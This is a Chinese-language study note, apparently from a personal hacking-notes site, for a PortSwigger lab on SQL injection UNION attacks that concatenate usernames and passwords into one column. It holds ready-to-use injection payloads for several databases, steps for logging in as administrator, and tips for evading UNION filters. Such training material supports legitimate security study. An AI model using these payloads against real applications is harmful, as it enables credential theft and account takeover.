> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# 通过 UNION 攻击在一列中提取多个值

通过 UNION 攻击在一列中提取多个值笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### SQL 注入 UNION 攻击：在单列中检索多个值

**目标：** 恢复 `用户名` 和 `密码` 在单列中拼接，然后在其中进行身份验证 `administrator`.

#### （1）快速前提条件

* 知道 **列数** 由查询返回（参见 `ORDER BY` / `UNION NULL` 测试）。
* 识别响应中返回的是哪些输出列（可见常量）。

#### 2）示例载荷（取决于 DBMS）

> 调整列数（`NULL`/常量）以匹配存在漏洞的查询。

* **Oracle / PostgreSQL（按 `||`连接）——典型请求 2 列：**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL（CONCAT）- 2 列：**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL（CONCAT 或 +）- 2 列：**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

或

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **如果原始请求有 3 列（例如）：**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **如果类型不兼容** （UNION 错误）：强制转换/类型转换：
  * PostgreSQL： `username::text`
  * MySQL： `CAST(username AS CHAR)`
  * Oracle： `TO_CHAR(username)`

#### 3）简明步骤

1. 确定 `N` 列（`ORDER BY 1..N`).
2. 确认 `UNION SELECT` 替换为 `NULL`/常量。
3. 注入根据 DBMS 和列数调整后的拼接载荷。
4. 找到 `username:password` 行在响应中。
5. 识别 `administrator:...` 条目，并使用这些凭据登录到身份验证页面。

#### 4）实用说明

* 如果密码是哈希值（例如 bcrypt），直接用于登录将会失败；如果允许，你就需要破解密码，或者确认密码以明文存储（高危安全事件）。
* 如果应用只显示一列，拼接就是正确的方法；如果它渲染多列，则优先使用 `UNION SELECT username, password` 以提高清晰度。
* 如果 `UNION` 被过滤，尝试通过调整空格/注释或函数（`CONCAT`, `CHR`/`CHAR`）来绕过过滤。


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